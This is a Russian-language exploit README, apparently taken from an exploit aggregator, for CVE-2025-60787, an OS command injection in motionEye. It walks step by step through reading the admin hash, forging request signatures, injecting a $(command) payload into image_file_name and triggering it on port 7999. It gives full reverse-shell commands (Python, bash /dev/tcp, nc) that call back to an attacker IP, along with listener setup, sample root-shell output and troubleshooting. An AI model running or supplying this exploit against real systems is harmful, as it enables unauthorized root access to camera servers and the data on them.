## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-AGENT-SKYWALKER-CVE-2025-60787
# CVE-2025-60787 - MotionEye RCE
MotionEye v0.43.1b4 Внедрение команд ОС
Эксплойт для Proof-of-Concept, демонстрирующий внедрение команд ОС в уязвимости motionEye, веб-интерфейса для демона motion. Уязвимость использует параметр конфигурации `image_file_name`, который передаётся напрямую в оболочку без санитизации, что позволяет внедрять произвольные команды через синтаксис подстановки `$(command)`.
> **Отказ от ответственности:** Используйте только против систем, на тестирование которых у вас есть явное разрешение. Несанкционированное использование незаконно.
* * *
## Содержание
* Как работает уязвимость
* Предварительные требования
* Шаг 1 — Найти хэш пароля администратора
* Шаг 2 — Понимание цепочки аутентификации
* Шаг 3 — Понимание алгоритма подписи
* Шаг 4 — Настройка эксплойта
* Шаг 5 — Запустите свой слушатель
* Шаг 6 — Запустите эксплойт
* Справочник параметров
* Устранение неполадок
* * *
## Как работает уязвимость
motionEye передаёт значение конфигурации `image_file_name` напрямую демону motion как шаблон имени файла оболочки. Motion вычисляет выражения подстановки `$(...)` внутри имён файлов во время создания снимка, что означает, что любая команда, помещённая внутрь `$(...)`, выполняется от имени пользователя, запустившего процесс motion (обычно `root`).
Полная цепочка атаки:
root@kitploit:~
1. Прочитать хэш admin_password из /etc/motioneye/motion.conf
↓
2. Вывести cookie_hash = SHA1(admin_password_hash)
↓
3. Вычислить HMAC-подпись, используя точный алгоритм motionEye:
SHA1("METHOD:path:body:key")
↓
4. Отправить вредоносную конфигурацию через POST на /config/{cam}/set/ с:
image_file_name = $(your_command).%Y-%m-%d-%H-%M-%S
↓
5. Запустить снимок через неаутентифицированный порт управления motion 7999
↓
6. Motion вычисляет имя файла → команда выполняется от root
↓
7. Обратный шелл подключается обратно к машине атакующего
* * *
## Предварительные требования
* Python 3.6+
* Сетевой доступ к целевому экземпляру motionEye (порт по умолчанию `8765`)
* Хэш пароля администратора из `/etc/motioneye/motion.conf`
* Слушатель на вашей атакующей машине (например, `nc`)
Сторонние пакеты Python не требуются — эксплойт использует только стандартную библиотеку.
* * *
## Шаг 1 — Найти хэш пароля администратора
Файл конфигурации motionEye хранит пароль администратора в виде SHA1-хэша. Прочитайте его на цели:
root@kitploit:~
cat /etc/motioneye/motion.conf
Найдите строку комментария `@admin_password`:
root@kitploit:~
# @admin_username admin
# @admin_password 989c5a8ee87a0e9521ec81a79187d162109282f0
> Значение после `@admin_password` — это SHA1-хэш открытого пароля, а не сам пароль. Именно этот хэш нужен для эксплойта.
Также обратите внимание на значение `webcontrol_port` — это неаутентифицированный порт управления motion, используемый для запуска снимков:
root@kitploit:~
webcontrol_port 7999
webcontrol_localhost on
root@kitploit:~
user@test:/tmp$ cat /etc/motioneye/motion.conf
# @admin_username admin
# @normal_username user
# @admin_password 989c5a8ee87a0e9521ec81a79187d162109282f0
# @lang en
# @enabled on
# @normal_password
setup_mode off
webcontrol_port 7999
webcontrol_interface 1
webcontrol_localhost on
webcontrol_parms 2
camera camera-1.conf
camera camera-2.conf
* * *
## Шаг 2 — Понимание цепочки аутентификации
motionEye использует схему аутентификации с двойным хэшированием:
root@kitploit:~
plaintext_password
│
▼ SHA1
admin_password ←── хранится в motion.conf как @admin_password
│
▼ SHA1
cookie_hash ←── отправляется в cookie браузера как meye_password_hash
│
▼ используется как HMAC-ключ
request_signature ←── параметр _signature= в каждом API-запросе
Эксплойт автоматически выводит cookie_hash из конфигурационного хэша:
root@kitploit:~
cookie_hash = hashlib.sha1(admin_password_hash.encode()).hexdigest()
Вы можете проверить это вручную:
root@kitploit:~
echo -n "989c5a8ee87a0e9521ec81a79187d162109282f0" | sha1sum
# вывод: 238bd0f26e9f987d2dc9c0351c018e5f52534052
* * *
## Шаг 3 — Понимание алгоритма подписи
Подпись вычисляется из исходного кода motionEye по адресу
`/usr/local/lib/python3.x/dist-packages/motioneye/utils/__init__.py`:
root@kitploit:~
SHA1("METHOD:path:body:key")
Где:
* `METHOD` — HTTP-метод (`POST`)
* `path` — URI с удалённым `_signature` из строки запроса, отсортированные параметры, URL-кодированные значения, затем отфильтрованные через `_SIGNATURE_REGEX`
* `body` — сырая строка JSON-тела, отфильтрованная через `_SIGNATURE_REGEX`
* `key` — либо `admin_password`, либо `admin_hash` (motionEye принимает оба), отфильтрованный через `_SIGNATURE_REGEX`
`_SIGNATURE_REGEX` удаляет любой символ, не входящий в `[a-zA-Z0-9/?_.=&{}\[\]":, -]`, заменяя их на `-`.
* * *
## Шаг 4 — Настройка эксплойта
Откройте `exploit.py` и установите следующие переменные в начале:
root@kitploit:~
MOTIONEYE_URL = "http://127.0.0.1:8765" # URL веб-интерфейса motionEye
MOTION_URL = "http://127.0.0.1:7999" # порт управления motion (без аутентификации)
USERNAME = "admin" # имя администратора (по умолчанию: admin)
ADMIN_HASH = "989c5a8ee87a0e9521ec81a79187d162109282f0" # из motion.conf
LHOST = "10.10.16.153" # IP вашего слушателя — цель должна иметь к нему доступ
LPORT = "4444" # порт вашего слушателя
Команда обратного шелла устанавливается автоматически из `LHOST` и `LPORT`:
root@kitploit:~
COMMAND = f"python3 -c 'import socket,os,pty;s=socket.socket();s.connect((\"{LHOST}\",{LPORT}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(\"/bin/bash\")'"
**Альтернативные команды шелла** — замените `COMMAND`, если стандартная заблокирована:
root@kitploit:~
# Bash TCP (просто, может быть отфильтровано)
COMMAND = f"bash -i >& /dev/tcp/{LHOST}/{LPORT} 0>&1"
# Netcat с флагом -e
COMMAND = f"nc -e /bin/bash {LHOST} {LPORT}"
# Netcat без -e (OpenBSD netcat)
COMMAND = f"rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc {LHOST} {LPORT} > /tmp/f"
* * *
## Шаг 5 — Запустите свой слушатель
На вашей атакующей машине запустите слушатель netcat **до** запуска эксплойта:
root@kitploit:~
nc -lvnp 4444
Эксплойт делает паузу на 5 секунд после вывода напоминания о слушателе, давая вам время переключить терминалы.
* * *
## Шаг 6 — Запустите эксплойт
root@kitploit:~
python3 exploit.py
Ожидаемый вывод:
root@kitploit:~
============================================================
motionEye RCE — Reverse Shell
============================================================
[*] LHOST : 10.10.16.153
[*] LPORT : 4444
[*] Command : python3 -c '...'
[!] Запустите слушатель СЕЙЧАС:
nc -lvnp 4444
[*] Отправка полезной нагрузки через 5 секунд...
[*] cam=2 key=admin_password ts=1773484327292
sig=abc123...
status=200 resp={}
[+] Конфигурация сохранена! cam=2 key=admin_password
[*] Запуск снимков через порт 7999 (без аутентификации)...
[+] cam 0 → 200 Снимок для камеры 0 выполнен
[+] cam 1 → 200 Снимок для камеры 1 выполнен
[+] cam 2 → 200 Снимок для камеры 2 выполнен
[+] Снимок запущен — проверьте ваш слушатель на 10.10.16.153:4444
На вашем слушателе вы должны получить:
root@kitploit:~
listening on [any] 4444 ...
connect to [10.10.16.153] from (UNKNOWN) [target_ip] 51234
root@test:/var/lib/motioneye/Camera2#
* * *
## Справочник параметров
* * *
## Устранение неполадок
**403 Unauthorized на всех запросах**
Подпись неверна. Убедитесь, что значение `ADMIN_HASH` точно соответствует строке `@admin_password` в `motion.conf` — без пробелов, без символов новой строки.
root@kitploit:~
cat /etc/motioneye/motion.conf | grep admin_password
**Снимки запускаются, но шелл не приходит**
Внедрение `image_file_name` сработало, но обратный шелл был заблокирован. Попробуйте альтернативную `COMMAND` из Шага 4. Также убедитесь, что цель может добраться до вашего `LHOST`:
root@kitploit:~
# На цели
ping -c 1 10.10.16.153
curl http://10.10.16.153:4444
**Порт 7999 отказывается от соединения**
Настройка `webcontrol_localhost on` ограничивает порт 7999 только localhost. Эксплойт должен выполняться с целевой машины или через туннель. Проверьте с помощью:
root@kitploit:~
ss -tlnp | grep 7999
**`motion.conf` не читается**
Возможно, файл требует повышенных привилегий:
root@kitploit:~
sudo cat /etc/motioneye/motion.conf
**Не найдена конфигурация камеры**
Проверьте, какие файлы конфигураций камер существуют, и при необходимости обновите список `cam` в эксплойте:
root@kitploit:~
ls /etc/motioneye/camera-*.conf
* * *
* * *
## Ссылки
* CVE-2025-60787
* Исходный код motionEye — utils/**init**.py
* Исходный код motionEye — handlers/base.py